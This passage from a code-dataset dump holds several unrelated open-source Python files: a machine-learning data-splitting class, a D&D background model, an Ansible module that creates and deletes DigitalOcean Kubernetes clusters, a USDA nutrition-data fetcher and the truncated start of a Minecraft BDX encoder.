> -sdev) & (self.insample_res.iloc[:, i] < sdev)), i] = 0\n\n\n def splitdata_pct(self, skip_size, insample_size, test_size, outofsample_size ):\n self.insamplelearn_items = np.zeros(self.dataset_length, dtype=bool)\n self.insampletest_items = np.zeros(self.dataset_length, dtype=bool)\n self.outofsample_items = np.zeros(self.dataset_length, dtype=bool)\n\n self.insamplelearn_items[int(self.dataset_length *skip_size):int(self.dataset_length *skip_size + self.dataset_length*insample_size)]=True\n self.insampletest_items[int(self.dataset_length *skip_size + self.dataset_length * insample_size): int(self.dataset_length *skip_size + self.dataset_length * insample_size + self.dataset_length * test_size)] = True\n self.outofsample_items[int(self.dataset_length *skip_size + self.dataset_length * insample_size+ self.dataset_length * test_size):int(self.dataset_length *skip_size + self.dataset_length * insample_size + self.dataset_length * test_size + + self.dataset_length * outofsample_size)] = True\n\n self.insample_data = self.dataset.iloc[self.insamplelearn_items, :self.dataset_width]\n self.insample_res = self.datares.iloc[self.insamplelearn_items, :self.datares_width]\n\n self.learn_data = self.dataset.iloc[self.insampletest_items, :self.dataset_width]\n self.learn_res = self.datares.iloc[self.insampletest_items, :self.datares_width]\n\n self.outofsample_data = self.dataset.iloc[self.outofsample_items, :self.dataset_width]\n self.outofsample_res = self.datares.iloc[self.outofsample_items, :self.datares_width]\n\n def selectedcolumns(self, dataset, columns):\n self.insample_data = dataset.insample_data.iloc[:,columns]\n self.learn_data = dataset.learn_data.iloc[:,columns]\n self.outofsample_data = dataset.outofsample_data.iloc[:, columns]\n self.insample_res = dataset.insample_res\n self.learn_res = dataset.learn_res\n self.outofsample_res = dataset.outofsample_res\n\n def plothist(self, datatype=\"is\"):\n mydpi=96\n dt = self.insample_data\n dr = self.insample_res\n\n if datatype == \"ls\":\n dt = self.learn_data\n dr = self.learn_res\n if datatype == \"os\":\n dt = self.outofsample_data\n dr = self.outofsample_res\n\n\n colcount = 3\n rowcount = len( self.getnames()) / 3 +1\n if len( self.getnames()) % 3 != 0:\n rowcount = rowcount+1\n curplot=1\n fig = plt.figure(figsize=(1800/mydpi, 1000/mydpi), dpi=mydpi)\n\n for curcol in self.getnames():\n plt.subplot(rowcount,colcount, curplot)\n plt.hist(np.asarray(dt.loc[:,curcol]), bins=60)#\n plt.title(curcol)\n curplot=curplot+1\n\n plt.subplot(rowcount, colcount, curplot)\n plt.hist(np.asarray(dr), bins=60)\n plt.title(\"Res\")\n plt.show()\n\n def plotpoints(self, col1=0, col2=1, datatype=\"is\"):\n mydpi=96\n dt = self.insample_data\n dr = self.insample_res\n\n if datatype == \"ls\":\n dt = self.learn_data\n dr = self.learn_res\n if datatype == \"os\":\n dt = self.outofsample_data\n dr = self.outofsample_res\n fig = plt.figure(figsize=(1000 / mydpi, 1000 / mydpi), dpi=mydpi)\n # plt.ion()\n ax = fig.add_subplot(111)\n x=np.asarray(dt.iloc[:,col1])\n y=np.asarray(dt.iloc[:,col2])\n r =np.asarray(dr.iloc[:,0])\n ax.scatter(x[r>0], y[r>0], s=r*50, c=\"g\" )\n ax.scatter(x[r<=0], y[r<=0], s=r*50, c=\"r\" )\n plt.show()\n# plt.pause(0.001)\n\n\n\n def nnsmooth(self, columns=None, rescolumn=None, k=10, cycles=1):\n if columns == None:\n columns = range(0, self.dataset_width )\n colcnt = len(columns)\n dt = self.insample_data\n dataset = pd.DataFrame(dt.ix[:,columns])\n nbrs = NearestNeighbors(n_neighbors=k, algorithm='ball_tree').fit(dataset)\n distabnce, indicies = nbrs.kneighbors(dataset)\n\n for i in range(0, cycles):\n dr = self.insample_res\n for x in indicies:\n mn= self.insample_res.ix[ x[range(1,k)], 0 ].mean()\n dr.ix[x[0],0] = dr.ix[x[0],0] * 0.8 + mn * 0.2\n self.insample_res = dr\n\n def nnradiussmooth(self, columns=None, rescolumn=None, distance=0.2, cycles=1):\n if columns == None:\n columns = range(0, self.dataset_width)\n colcnt = len(columns)\n dt = self.insample_data\n dataset = pd.DataFrame(dt.ix[:, columns])\n nbrs = RadiusNeighborsClassifier().fit(dt, np.zeros_like(self.insample_res).reshape(self.insample_res.shape[0],))\n nb = nbrs.radius_neighbors(dt, distance, return_distance=False )\n\n for i in range(0, cycles):\n dr = self.insample_res\n for x in nb:\n mn = self.insample_res.ix[x, 0].mean()\n dr.ix[x[0], 0] = dr.ix[x[0], 0] * 0.8 + mn * 0.2\n self.insample_res = dr\n\n def nncut(self, distance=1, type='inner', datatype='all'):\n def nncut_proc( distance, dt, dr, type):\n if dt.shape[0] == 0:\n return [dt,dr]\n nbrs = RadiusNeighborsClassifier().fit(dt, np.zeros_like(dr).reshape(dt.shape[0],))\n colcnt = dt.shape[1]\n middle = nbrs.radius_neighbors(np.zeros(colcnt).reshape(1,colcnt), distance, return_distance=False)\n if type == 'inner':\n dt = dt.drop(dt.index[np.asarray(middle[0])])\n dr = dr.drop(dr.index[np.asarray(middle[0])])\n if type == 'outer':\n dt = dt[ dt.index.isin( dt.index[ np.asarray(middle[0]) ] )]\n dr = dr[ dr.index.isin( dr.index[ np.asarray(middle[0]) ] )]\n return [dt, dr]\n\n if datatype == 'is':\n self.insample_data, self.insample_res = nncut_proc(distance, self.insample_data, self.insample_res, type)\n if datatype == 'os':\n self.outofsample_data, self.outofsample_res = nncut_proc(distance, self.outofsample_data, self.outofsample_res,type)\n if datatype == 'all':\n self.insample_data, self.insample_res = nncut_proc(distance, self.insample_data, self.insample_res, type)\n self.learn_data, self.learn_res = nncut_proc(distance, self.learn_data, self.learn_res, type)\n self.outofsample_data, self.outofsample_res = nncut_proc(distance, self.outofsample_data, self.outofsample_res,type)\n\n def errorfunc(self, res, pred, verbose = False ):\n result = pd.DataFrame( res )\n result[\"Pred\"] = pred\n result_series = pd.Series( [tuple(i) for i in result.values] )\n\n rc = result_series.value_counts()\n positive= 0\n negative = 0\n falsepositive=0\n falsenegative = 0\n\n if (1,1) in rc.index:\n positive = rc[(1,1)]\n if (0,0) in rc.index:\n negative = rc[(0,0)]\n if (0,1) in rc.index:\n falsepositive = rc[(0,1)]\n if (1,0) in rc.index:\n falsenegative = rc[(1,0)]\n\n ret = - ( (falsenegative * 100.0 / (positive + falsenegative) * 1) + (falsepositive * 100.0 / (negative + falsepositive) * 2 ) )\n\n if( verbose == True ):\n print( \"Positive rate {0:0.2f}%. Negative rate {1:0.2f}%. Score : {2:0.2f}\".format( positive * 100.0 / (positive + falsenegative) , negative * 100.0 / (negative + falsepositive) , ret ) )\n return ret\n\n def filter(self, sdev=3, printerror = False):\n if sdev == 0:\n return\n print(self.insample_data.shape[1])\n res = np.ones(self.outofsample_res.shape[0], dtype=np.int8)\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n tmp = np.where(abs((self.outofsample_data.iloc[:, i] - mean) / stddev) < sdev, 1, 0)\n res = np.bitwise_and(res, tmp)\n\n if printerror == True:\n print ( self.outofsample_data.columns.values[i] )\n\n print(\"Filtered {0} items {1:0.2f}%\".format( len(tmp) - np.sum(tmp), (len(tmp) - sum(tmp)) * 100.0 / len(tmp) ) )\n self.errorfunc( self.outofsample_res[[0]], tmp, True)\n\n\n print(\"After filtering\")\n\n if printerror == True:\n self.errorfunc( self.outofsample_res[[0]], res, True )\n\n befores = self.outofsample_res.shape[0]\n\n self.outofsample_res = self.outofsample_res[ res == 1 ]\n self.outofsample_data = self.outofsample_data[ res == 1 ]\n print(\"Filtered {0} items {1:0.2f}%\".format( befores - self.outofsample_res.shape[0], ((befores - self.outofsample_res.shape[0]) * 100.0 / befores) ))\n return res\n\n\n def save(self, filename=\"data/dataset.txt\", dropna=False, fillna=False):\n ds = self.dataset\n ds = ds.join(self.datares)\n if dropna == True:\n ds = ds.dropna(axis=0)\n if fillna == True:\n ds = ds.fillna(0)\n\n ds.to_csv(filename, float_format=\"%.4f\")\n\n\n\nclass dataclass_ohlcv(dataclass):\n def create(self, ohlcv):\n dataset = pd.DataFrame(ohlcv['Close'].diff(), columns=['Close'], index=ohlcv.index)\n dataset['MA'] = ( ta.MA(ohlcv, 10) - ohlcv['Close']) / ( ta.ATR(ohlcv, 10))\n dataset['MA2'] = ( ta.MA(ohlcv, 20) - ohlcv['Close']) / ( ta.ATR(ohlcv, 10))\n dataset['Res'] = ohlcv['Close'].shift(-1).diff()\n dataset = dataset.dropna(axis=0)\n\n self.dataset = pd.DataFrame(dataset.ix[:, range(0, dataset.shape[1] - 2)])\n self.datares = pd.DataFrame(dataset.ix[:, ((dataset.shape[1] - 1))])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n\nclass dataclass_syseval(dataclass):\n def create(self, filename):\n dataset = pd.read_csv(filename, index_col = 'DateTime')\n\n dataset = dataset[ dataset['LongSD'] != 0 ]\n dataset = dataset[ dataset['ShortSD'] != 0 ]\n\n self.dataset = pd.DataFrame( dataset.ix[:, range(0, dataset.shape[1] - 6)] )\n self.datares = pd.DataFrame( dataset.ix[:, range( dataset.shape[1] -6 , dataset.shape[1] )])\n\n\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n def classify(self, n=20):\n for i in range(0, self.insample_res.shape[1]):\n #print(self.insample_res.iloc[:, i])\n #np.which( self.insample_res.iloc[:, i] >= n, 0, 1 )\n self.insample_res.ix[self.insample_res.iloc[:, i] < n, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] >= n, i] = 0\n\n\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] < n, i] = 1\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] >= n, i] = 0\n\n\nclass dataclass_syseval_binary(dataclass):\n def create(self, filename, dropna=False, fillna = False):\n dataset = pd.read_csv(filename, index_col = 'DateTime', parse_dates=True )\n\n if dropna == True:\n dataset = dataset.dropna(axis=0)\n if fillna == True:\n dataset = dataset.fillna(0)\n\n self.dataset = pd.DataFrame( dataset.ix[:, range(0, dataset.shape[1] - 6)] )\n self.datares = pd.DataFrame( dataset.ix[:, range( dataset.shape[1] -6 , dataset.shape[1] )])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n\n def classify(self, n=20):\n for i in range(0, self.insample_res.shape[1]):\n self.insample_res.ix[self.insample_res.iloc[:, i] < n, i] = 1\n self.insample_res.ix[self.insample_res.iloc[:, i] >= n, i] = 0\n\n\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] < n, i] = 1\n self.outofsample_res.ix[self.outofsample_res.iloc[:, i] >= n, i] = 0\n\n def binaryclassify(self, column=0, n=0 , reverse=False):\n\n if reverse == True:\n greater = 0\n lower = 1\n else:\n greater = 1\n lower = 0\n\n self.insample_res[[column]] = np.where( self.insample_res[[column]] > n, greater, lower )\n self.outofsample_res[[column]] = np.where( self.outofsample_res[[column]] > n, greater, lower )\n\n\n\n","repo_name":"delerex/ml-framework","sub_path":"python/dataclass.py","file_name":"dataclass.py","file_ext":"py","file_size_in_byte":16547,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"6660568342","text":"\nfrom model.xml_entity import XmlEntity\nfrom model.action import Action\nfrom model.attribute import Attribute\nfrom utils.regexes import get_sources\n\n\nclass Background (XmlEntity):\n def __init__(self, xml_node):\n super().__init__(xml_node)\n\n self.name = self._get('name')\n self.proficiencies = self._get_as_list('proficiency')\n self.traits = self._get_as_obj_list('trait', Action)\n self.modifiers = self._get_as_obj_list('modifier', Attribute)\n\n self.sources = []\n for t in self.traits:\n if t.name == 'Description':\n self.sources = get_sources(t.text)\n\n def __repr__(self):\n return 'Name: {0.name}\\nProficiencies: {0.proficiencies}\\nTraits: {0.traits}\\nModifiers: {0.modifiers}'.format(self)\n","repo_name":"iAmMortos/DndCharacterGenerator","sub_path":"model/background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10184457582","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n\nDOCUMENTATION = r\"\"\"\n---\nmodule: digital_ocean_kubernetes\nshort_description: Create and delete a DigitalOcean Kubernetes cluster\ndescription:\n - Create and delete a Kubernetes cluster in DigitalOcean (and optionally wait for it to be running).\nversion_added: 1.3.0\nauthor: Mark Mercado (@mamercad)\noptions:\n oauth_token:\n description:\n - DigitalOcean OAuth token; can be specified in C(DO_API_KEY), C(DO_API_TOKEN), or C(DO_OAUTH_TOKEN) environment variables\n type: str\n aliases: ['API_TOKEN']\n required: true\n state:\n description:\n - The usual, C(present) to create, C(absent) to destroy\n type: str\n choices: ['present', 'absent']\n default: present\n name:\n description:\n - A human-readable name for a Kubernetes cluster.\n type: str\n required: true\n region:\n description:\n - The slug identifier for the region where the Kubernetes cluster will be created.\n type: str\n aliases: ['region_id']\n default: nyc1\n version:\n description:\n - The slug identifier for the version of Kubernetes used for the cluster. See the /v2/kubernetes/options endpoint for available versions.\n type: str\n required: false\n default: latest\n auto_upgrade:\n description:\n - A boolean value indicating whether the cluster will be automatically upgraded to new patch releases during its maintenance window.\n type: bool\n required: false\n default: false\n surge_upgrade:\n description:\n - A boolean value indicating whether surge upgrade is enabled/disabled for the cluster.\n - Surge upgrade makes cluster upgrades fast and reliable by bringing up new nodes before destroying the outdated nodes.\n type: bool\n required: false\n default: false\n tags:\n description:\n - A flat array of tag names as strings to be applied to the Kubernetes cluster.\n - All clusters will be automatically tagged \"k8s\" and \"k8s:$K8S_CLUSTER_ID\" in addition to any tags provided by the user.\n required: false\n type: list\n elements: str\n maintenance_policy:\n description:\n - An object specifying the maintenance window policy for the Kubernetes cluster (see table below).\n type: dict\n required: false\n node_pools:\n description:\n - An object specifying the details of the worker nodes available to the Kubernetes cluster (see table below).\n type: list\n elements: dict\n suboptions:\n name:\n type: str\n description: A human-readable name for the node pool.\n size:\n type: str\n description: The slug identifier for the type of Droplet used as workers in the node pool.\n count:\n type: int\n description: The number of Droplet instances in the node pool.\n tags:\n type: list\n elements: str\n description:\n - An array containing the tags applied to the node pool.\n - All node pools are automatically tagged C(\"k8s\"), C(\"k8s-worker\"), and C(\"k8s:$K8S_CLUSTER_ID\").\n labels:\n type: dict\n description: An object containing a set of Kubernetes labels. The keys are user-defined.\n taints:\n type: list\n elements: dict\n description:\n - An array of taints to apply to all nodes in a pool.\n - Taints will automatically be applied to all existing nodes and any subsequent nodes added to the pool.\n - When a taint is removed, it is removed from all nodes in the pool.\n auto_scale:\n type: bool\n description:\n - A boolean value indicating whether auto-scaling is enabled for this node pool.\n min_nodes:\n type: int\n description:\n - The minimum number of nodes that this node pool can be auto-scaled to.\n - The value will be C(0) if C(auto_scale) is set to C(false).\n max_nodes:\n type: int\n description:\n - The maximum number of nodes that this node pool can be auto-scaled to.\n - The value will be C(0) if C(auto_scale) is set to C(false).\n default:\n - name: worker-pool\n size: s-1vcpu-2gb\n count: 1\n tags: []\n labels: {}\n taints: []\n auto_scale: false\n min_nodes: 0\n max_nodes: 0\n vpc_uuid:\n description:\n - A string specifying the UUID of the VPC to which the Kubernetes cluster will be assigned.\n - If excluded, the cluster will be assigned to your account's default VPC for the region.\n type: str\n required: false\n return_kubeconfig:\n description:\n - Controls whether or not to return the C(kubeconfig).\n type: bool\n required: false\n default: false\n wait:\n description:\n - Wait for the cluster to be running before returning.\n type: bool\n required: false\n default: true\n wait_timeout:\n description:\n - How long before wait gives up, in seconds, when creating a cluster.\n type: int\n default: 600\n ha:\n description:\n - A boolean value indicating whether the control plane is run in a highly available configuration in the cluster.\n - Highly available control planes incur less downtime.\n type: bool\n default: false\n\"\"\"\n\n\nEXAMPLES = r\"\"\"\n- name: Create a new DigitalOcean Kubernetes cluster in New York 1\n community.digitalocean.digital_ocean_kubernetes:\n state: present\n oauth_token: \"{{ lookup('env', 'DO_API_TOKEN') }}\"\n name: hacktoberfest\n region: nyc1\n node_pools:\n - name: hacktoberfest-workers\n size: s-1vcpu-2gb\n count: 3\n return_kubeconfig: true\n wait_timeout: 600\n register: my_cluster\n\n- name: Show the kubeconfig for the cluster we just created\n debug:\n msg: \"{{ my_cluster.data.kubeconfig }}\"\n\n- name: Destroy (delete) an existing DigitalOcean Kubernetes cluster\n community.digitalocean.digital_ocean_kubernetes:\n state: absent\n oauth_token: \"{{ lookup('env', 'DO_API_TOKEN') }}\"\n name: hacktoberfest\n\"\"\"\n\n\n# Digital Ocean API info https://docs.digitalocean.com/reference/api/api-reference/#tag/Kubernetes\n# The only variance from the documented response is that the kubeconfig is (if return_kubeconfig is True) merged in at data['kubeconfig']\nRETURN = r\"\"\"\ndata:\n description: A DigitalOcean Kubernetes cluster (and optional C(kubeconfig))\n returned: changed\n type: dict\n sample:\n kubeconfig: |-\n apiVersion: v1\n clusters:\n - cluster:\n certificate-authority-data: REDACTED\n server: https://REDACTED.k8s.ondigitalocean.com\n name: do-nyc1-hacktoberfest\n contexts:\n - context:\n cluster: do-nyc1-hacktoberfest\n user: do-nyc1-hacktoberfest-admin\n name: do-nyc1-hacktoberfest\n current-context: do-nyc1-hacktoberfest\n kind: Config\n preferences: {}\n users:\n - name: do-nyc1-hacktoberfest-admin\n user:\n token: REDACTED\n kubernetes_cluster:\n auto_upgrade: false\n cluster_subnet: 10.244.0.0/16\n created_at: '2020-09-27T00:55:37Z'\n endpoint: https://REDACTED.k8s.ondigitalocean.com\n id: REDACTED\n ipv4: REDACTED\n maintenance_policy:\n day: any\n duration: 4h0m0s\n start_time: '15:00'\n name: hacktoberfest\n node_pools:\n - auto_scale: false\n count: 1\n id: REDACTED\n labels: null\n max_nodes: 0\n min_nodes: 0\n name: hacktoberfest-workers\n nodes:\n - created_at: '2020-09-27T00:55:37Z'\n droplet_id: '209555245'\n id: REDACTED\n name: hacktoberfest-workers-3tdq1\n status:\n state: running\n updated_at: '2020-09-27T00:58:36Z'\n size: s-1vcpu-2gb\n tags:\n - k8s\n - k8s:REDACTED\n - k8s:worker\n taints: []\n region: nyc1\n service_subnet: 10.245.0.0/16\n status:\n state: running\n surge_upgrade: false\n tags:\n - k8s\n - k8s:REDACTED\n updated_at: '2020-09-27T01:00:37Z'\n version: 1.18.8-do.1\n vpc_uuid: REDACTED\n\"\"\"\n\n\nimport time\nfrom ansible.module_utils.basic import AnsibleModule, env_fallback\nfrom ansible_collections.community.digitalocean.plugins.module_utils.digital_ocean import (\n DigitalOceanHelper,\n)\n\n\nclass DOKubernetes(object):\n def __init__(self, module):\n self.rest = DigitalOceanHelper(module)\n self.module = module\n # Pop these values so we don't include them in the POST data\n self.return_kubeconfig = self.module.params.pop(\"return_kubeconfig\", False)\n self.wait = self.module.params.pop(\"wait\", True)\n self.wait_timeout = self.module.params.pop(\"wait_timeout\", 600)\n self.module.params.pop(\"oauth_token\")\n self.cluster_id = None\n\n def get_by_id(self):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster matching on id\"\"\"\n response = self.rest.get(\"kubernetes/clusters/{0}\".format(self.cluster_id))\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def get_all_clusters(self):\n \"\"\"Returns all DigitalOcean Kubernetes clusters\"\"\"\n response = self.rest.get(\"kubernetes/clusters\")\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def get_by_name(self, cluster_name):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster matching on name\"\"\"\n if not cluster_name:\n return None\n clusters = self.get_all_clusters()\n for cluster in clusters[\"kubernetes_clusters\"]:\n if cluster[\"name\"] == cluster_name:\n return cluster\n return None\n\n def get_kubernetes_kubeconfig(self):\n \"\"\"Returns the kubeconfig for an existing DigitalOcean Kubernetes cluster\"\"\"\n response = self.rest.get(\n \"kubernetes/clusters/{0}/kubeconfig\".format(self.cluster_id)\n )\n if response.status_code == 200:\n return response.body\n else:\n self.module.fail_json(msg=\"Failed to retrieve kubeconfig\")\n\n def get_kubernetes(self):\n \"\"\"Returns an existing DigitalOcean Kubernetes cluster by name\"\"\"\n json_data = self.get_by_name(self.module.params[\"name\"])\n if json_data:\n self.cluster_id = json_data[\"id\"]\n return json_data\n else:\n return None\n\n def get_kubernetes_options(self):\n \"\"\"Fetches DigitalOcean Kubernetes options: regions, sizes, versions.\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/list_kubernetes_options\n \"\"\"\n response = self.rest.get(\"kubernetes/options\")\n json_data = response.json\n if response.status_code == 200:\n return json_data\n return None\n\n def ensure_running(self):\n \"\"\"Waits for the newly created DigitalOcean Kubernetes cluster to be running\"\"\"\n end_time = time.monotonic() + self.wait_timeout\n while time.monotonic() < end_time:\n cluster = self.get_by_id()\n if cluster[\"kubernetes_cluster\"][\"status\"][\"state\"] == \"running\":\n return cluster\n time.sleep(10)\n self.module.fail_json(msg=\"Wait for Kubernetes cluster to be running\")\n\n def create(self):\n \"\"\"Creates a DigitalOcean Kubernetes cluster\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/create_kubernetes_cluster\n \"\"\"\n # Get valid Kubernetes options (regions, sizes, versions)\n kubernetes_options = self.get_kubernetes_options()[\"options\"]\n # Validate region\n valid_regions = [str(x[\"slug\"]) for x in kubernetes_options[\"regions\"]]\n if self.module.params.get(\"region\") not in valid_regions:\n self.module.fail_json(\n msg=\"Invalid region {0} (valid regions are {1})\".format(\n self.module.params.get(\"region\"), \", \".join(valid_regions)\n )\n )\n # Validate version\n valid_versions = [str(x[\"slug\"]) for x in kubernetes_options[\"versions\"]]\n valid_versions.append(\"latest\")\n if self.module.params.get(\"version\") not in valid_versions:\n self.module.fail_json(\n msg=\"Invalid version {0} (valid versions are {1})\".format(\n self.module.params.get(\"version\"), \", \".join(valid_versions)\n )\n )\n # Validate size\n valid_sizes = [str(x[\"slug\"]) for x in kubernetes_options[\"sizes\"]]\n for node_pool in self.module.params.get(\"node_pools\"):\n if node_pool[\"size\"] not in valid_sizes:\n self.module.fail_json(\n msg=\"Invalid size {0} (valid sizes are {1})\".format(\n node_pool[\"size\"], \", \".join(valid_sizes)\n )\n )\n\n # Create the Kubernetes cluster\n json_data = self.get_kubernetes()\n if json_data:\n # Add the kubeconfig to the return\n if self.return_kubeconfig:\n json_data[\"kubeconfig\"] = self.get_kubernetes_kubeconfig()\n self.module.exit_json(changed=False, data=json_data)\n if self.module.check_mode:\n self.module.exit_json(changed=True)\n request_params = dict(self.module.params)\n response = self.rest.post(\"kubernetes/clusters\", data=request_params)\n json_data = response.json\n if response.status_code >= 400:\n self.module.fail_json(changed=False, msg=json_data)\n # Set the cluster_id\n self.cluster_id = json_data[\"kubernetes_cluster\"][\"id\"]\n if self.wait:\n json_data = self.ensure_running()\n # Add the kubeconfig to the return\n if self.return_kubeconfig:\n json_data[\"kubeconfig\"] = self.get_kubernetes_kubeconfig()\n self.module.exit_json(changed=True, data=json_data[\"kubernetes_cluster\"])\n\n def delete(self):\n \"\"\"Deletes a DigitalOcean Kubernetes cluster\n API reference: https://docs.digitalocean.com/reference/api/api-reference/#operation/delete_kubernetes_cluster\n \"\"\"\n json_data = self.get_kubernetes()\n if json_data:\n if self.module.check_mode:\n self.module.exit_json(changed=True)\n response = self.rest.delete(\n \"kubernetes/clusters/{0}\".format(json_data[\"id\"])\n )\n if response.status_code == 204:\n self.module.exit_json(\n changed=True, data=json_data, msg=\"Kubernetes cluster deleted\"\n )\n self.module.fail_json(\n changed=False, msg=\"Failed to delete Kubernetes cluster\"\n )\n json_data = response.json\n else:\n self.module.exit_json(changed=False, msg=\"Kubernetes cluster not found\")\n\n\ndef run(module):\n state = module.params.pop(\"state\")\n cluster = DOKubernetes(module)\n if state == \"present\":\n cluster.create()\n elif state == \"absent\":\n cluster.delete()\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n state=dict(choices=[\"present\", \"absent\"], default=\"present\"),\n oauth_token=dict(\n aliases=[\"API_TOKEN\"],\n no_log=True,\n fallback=(\n env_fallback,\n [\"DO_API_TOKEN\", \"DO_API_KEY\", \"DO_OAUTH_TOKEN\"],\n ),\n required=True,\n ),\n name=dict(type=\"str\", required=True),\n region=dict(aliases=[\"region_id\"], default=\"nyc1\"),\n version=dict(type=\"str\", default=\"latest\"),\n auto_upgrade=dict(type=\"bool\", default=False),\n surge_upgrade=dict(type=\"bool\", default=False),\n tags=dict(type=\"list\", elements=\"str\"),\n maintenance_policy=dict(type=\"dict\"),\n node_pools=dict(\n type=\"list\",\n elements=\"dict\",\n default=[\n {\n \"name\": \"worker-pool\",\n \"size\": \"s-1vcpu-2gb\",\n \"count\": 1,\n \"tags\": [],\n \"labels\": {},\n \"taints\": [],\n \"auto_scale\": False,\n \"min_nodes\": 0,\n \"max_nodes\": 0,\n }\n ],\n ),\n vpc_uuid=dict(type=\"str\"),\n return_kubeconfig=dict(type=\"bool\", default=False),\n wait=dict(type=\"bool\", default=True),\n wait_timeout=dict(type=\"int\", default=600),\n ha=dict(type=\"bool\", default=False),\n ),\n required_if=(\n [\n (\"state\", \"present\", [\"name\", \"region\", \"version\", \"node_pools\"]),\n ]\n ),\n supports_check_mode=True,\n )\n\n run(module)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ansible-collections/community.digitalocean","sub_path":"plugins/modules/digital_ocean_kubernetes.py","file_name":"digital_ocean_kubernetes.py","file_ext":"py","file_size_in_byte":17041,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"72"}
+{"seq_id":"18408312037","text":"import json\nimport requests\nfrom pprint import pprint\nfrom macros import Macros\nfrom food_ids import FOOD_IDS, NUTRIENT_IDS, API_KEY\n\n# NOTE: type b is basic, type f is full, s is stats\nURL = 'https://api.nal.usda.gov/ndb/V2/reports?ndbno={}&type=s&format=json&api_key={}'\nDEFAULT_SERVING = 100 # grams\n\nclass Food(object):\n \"\"\"a food object from an ndbno ID \"\"\"\n def __init__(self, name=\"\", update_dict=None, debug=False):\n if update_dict:\n self.__dict__.update(update_dict)\n m = update_dict['macros']\n self.macros = Macros(m['serving_size'],\n m['protein_grams'],\n m['fat_grams'],\n m['carb_grams'])\n else:\n self.name = name\n self.id = FOOD_IDS[name] # ndbno\n self.debug = debug\n self.macros = self._fetch_food_info()\n\n def __str__(self):\n return self.name\n\n def _fetch_food_info(self):\n resp = requests.get(URL.format(self.id, API_KEY))\n json_dict = resp.json()\n if self.debug:\n print(\"============BEGIN RESPONSE:===============\")\n pprint(json_dict)\n print(\"============END RESPONSE:===============\")\n food_obj = json_dict['foods'][0]['food']\n nutrients = food_obj['nutrients']\n try:\n serving_grams = nutrients[0]['measures'][0]['eqv']\n assert nutrients[0]['measures'][0]['eunit'] == 'g'\n except (KeyError, AssertionError):\n # Not all foods have a \"measures\" key\n if self.debug:\n print(\"We cannot find the `measures` key, continuing...\")\n if self.name == \"Avocado\":\n serving_grams = 136\n elif self.name == \"Whole Milk\":\n serving_grams = 240 # mililiters not grams\n else:\n raise\n\n # now build the macros\n protein = fat = carbs = 0\n for d in nutrients:\n if d['nutrient_id'] == NUTRIENT_IDS['protein']:\n protein = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n elif d['nutrient_id'] == NUTRIENT_IDS['fat']:\n fat = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n elif d['nutrient_id'] == NUTRIENT_IDS['carbs']:\n carbs = self._calc_calorie_for_macro(serving_grams, float(d['value']))\n return Macros(serving_grams, protein, fat, carbs)\n\n def _calc_calorie_for_macro(self, serving_size, value):\n return round(serving_size / DEFAULT_SERVING * value, 1)\n\n\n\n# Tests:\nif __name__ == '__main__':\n out = []\n for k in FOOD_IDS:\n try:\n print(\"k is : \", k)\n out.append(Food(k))\n except Exception as e:\n print(\"cannot make this food: \", k)\n print(\"... because: \", e)\n raise\n print([f.__dict__ for f in out])\n","repo_name":"JacobIRR/calories_and_macros","sub_path":"food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23642815412","text":"import sys\nimport os\nimport brotli\nimport struct\nimport json\nimport base64\nfrom hashlib import sha256\nimport requests\n\n\nclass BdxEncoder(object):\n # command block\n CB = 'command_block'\n # repeat command block\n REPEAT_CB = 'repeating_command_block'\n # chain commnad block\n CHAIN_CB = 'chain_command_block'\n\n MODE_CB = 0\n MODE_REPEAT_CB = 1\n MODE_CHAIN_CB = 2\n\n # face down\n FACE_DOWN = 0\n FACE_UPPER = 1\n # z--\n FACE_NORTH = 2\n FACE_ZNN = 2\n # z++\n FACE_SOUTH = 3\n FACE_ZPP = 3\n # x--\n FACE_WEST = 4\n FACE_XNN = 4\n # x++\n FACE_EAST = 5\n FACE_XPP = 5\n\n cb_mode = ['Impulse', 'Repeat', 'Chain']\n cb_face = [\n 'down', 'up', 'north (z-)', 'source (z+)', 'west (x-)', 'east (x+)'\n ]\n\n def __init__(self,\n author=None,\n need_sign=True,\n sign_token=None,\n log_path=None,\n log_level=None) -> None:\n super().__init__()\n self.dtype_len_fmt = {\n 1: {\n True: {\n True: '>b',\n False: '>B'\n },\n False: {\n True: 'h',\n False: '>H'\n },\n False: {\n True: 'i',\n False: '>I'\n },\n False: {\n True: 'l',\n False: '>L'\n },\n False: {\n True: ' 1:\n self.log_cmd_op(1, f'cache')\n self._write_op(1)\n if self.log_level['cache'] > 1:\n self.log_cmd_args(f'{block_name} as {block_id}')\n self.block_id_name_mapping.append(block_name)\n self.block_name_id_mapping[block_name] = block_id\n self._write_str(block_name)\n return block_id\n\n def write_cmd(self, op_code, op_group, op_name, op, params):\n if 